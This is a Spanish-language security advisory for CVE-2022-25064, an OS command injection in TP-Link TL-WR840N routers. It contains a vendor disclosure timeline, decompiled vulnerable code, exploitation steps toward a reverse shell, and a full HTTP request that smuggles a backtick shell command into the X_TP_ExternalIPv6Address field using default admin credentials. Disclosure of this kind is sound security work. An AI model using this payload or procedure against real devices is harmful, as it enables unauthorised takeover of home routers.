OS Command Injection in TPLINK TL-WR840N
Version TL-WR840N(ES)_V6.20_180709
CVE-2022-25064
Samir Sánchez Garnica
Aviso de Seguridad 006
Luis Eduardo Jácome Valencia
Descripción de la vulnerabilidad
TL-WR840N
Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.
EL PROBLEMA
Esta versión es afectada por la ejecución de código remoto bajo el objeto oal_wan6_setIpAddr.
VERSIONES AFECTADAS
Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709
Línea de tiempo
| Fecha | Acción |
| 10/12/2021 | Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK |
| 13/12/2021 | Se recibe una respuesta con el equipo de seguridad de TPLINK |
| 02/02/2022 | Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad |
| 09/02/2022 | Se cierra el caso con el hallazgo identificado |
Descripción técnica y prueba de concepto (PoC)
Identificación de vulnerabilidad a traves de la ingenieria inversa
Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , la cual procesa parametros que son enviados desde el servidor web. estos parametros aunque son validados solamenta bajo un size de peticion de tamaño 40 para el caso del argumento X_TP_ExternalIPv6Address , a nivel de caracteres no existe un filtro de validación real en cumplimiento al input de una direccion ipv6 real.
a continuacion puede identificar el segmento de codigo vulnerable.
undefined4 oal_wan6_setIpAddr(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{
util_execSystem("oal_wan6_setIpAddr","ifconfig %s add %s/%d",param_2,param_1,param_3);
return 0;
}
La funcion vulnerable es llamada desde el objeto rsl_setDsliteObject, se hace una reserva de memoria de un tamaño de 0x28 o 40 bytes, finalmente es pasado a la función oal_wan6_setIpAddr
int rsl_setDsliteObj(undefined4 param_1,int param_2)
{
int iVar1;
int iVar2;
undefined2 local_a0;
undefined2 local_9e;
undefined2 local_9c;
undefined2 local_9a;
undefined2 local_98;
undefined2 local_96;
undefined2 local_94;
undefined auStack144 [40];
undefined auStack104 [8];
char local_60;
char local_50;
char local_4f [63];
local_a0 = 0;
local_9e = 0;
local_9c = 0;
local_9a = 0;
local_98 = 0;
local_96 = 0;
local_94 = 0;
memset(auStack144,0,0x28);
iVar1 = rsl_getObj(0x87,&local_a0,0x54,auStack104);
if (iVar1 == 0) {
if ((*(char *)(param_2 + 2) == '\0') || (local_50 == '\0')) {
oal_dslite_delTunnel();
}
else {
if ((*(char *)(param_2 + 4) != '\0') &&
(iVar2 = util_netChkColonIp6Addr(param_2 + 4), iVar2 == 0)) {
cdbg_printf(8,"rsl_setDsliteObj",0x1d1,"DSLITE Remote IPv6 Address is invalid(%s)!",
param_2 + 4);
return 1;
}
cstr_strncpy(auStack144,local_4f,0x28);
if ((((local_50 == '\x01') && (*(char *)(param_2 + 4) != '\0')) && (local_60 != '\0')) &&
(local_4f[0] != '\0')) {
oal_dslite_delTunnel();
oal_dslite_addTunnel(param_2 + 4,auStack144);
oal_wan6_setIpAddr(auStack144,"dslite",0x40);
oal_dslite_setRoute("dslite",1);
}
}
}
else {
cdbg_printf(8,"rsl_setDsliteObj",0x1c2,"Get IPv6 Tunnel object data failed. ret = %d",iVar1);
}
return iVar1;
}
Finalmente los pasos para la ejecución de codigo remoto deben ser los siguientes:
- el payload no debe superar un tamaño de 40 bytes, lo cual obliga a enviar varias peticiones para una explotacion de shell exitosa.
- el router solo cuenta con el binario tftp para descargar archivos asi que al no haber una explotación de corrupción de memoria si no de inyección de comandos debe hacer uso de los binarios ofrecidos por el router
- debe compilar una shellcode en c, haciendo uso de la arquitectura MIPSLE
- finalmente invoque la cadena de comandos para la ejecución de código remoto.
La explotación
Puede comprobar la inyección de comandos enviando el siguiente payload sobre el campo inyectable.
X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 617
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2
X_TP_lastUsedIntf=ipoe_eth3_s
X_TP_lastUsedName=ewan_ipoe_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18
externalIPAddress=172.26.26.2
subnetMask=255.255.255.0
defaultGateway=172.26.26.1
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
maxMTUSize=1500
DNSOverrideAllowed=1
DNSServers=1.1.1.1,8.8.8.8
X_TP_IPv4Enabled=0
X_TP_IPv6Enabled=1
X_TP_IPv6AddressingType=Static
X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
X_TP_PrefixLength=128
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=1
X_TP_IPv6DNSServers=::,::
enable=1

Finalmente obtenga la reverse shell y tome control del producto.

Video prueba de concepto.
URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25064
URL código de explotación: https://github.com/exploitwritter/CVE-2022-25064

Deja un comentario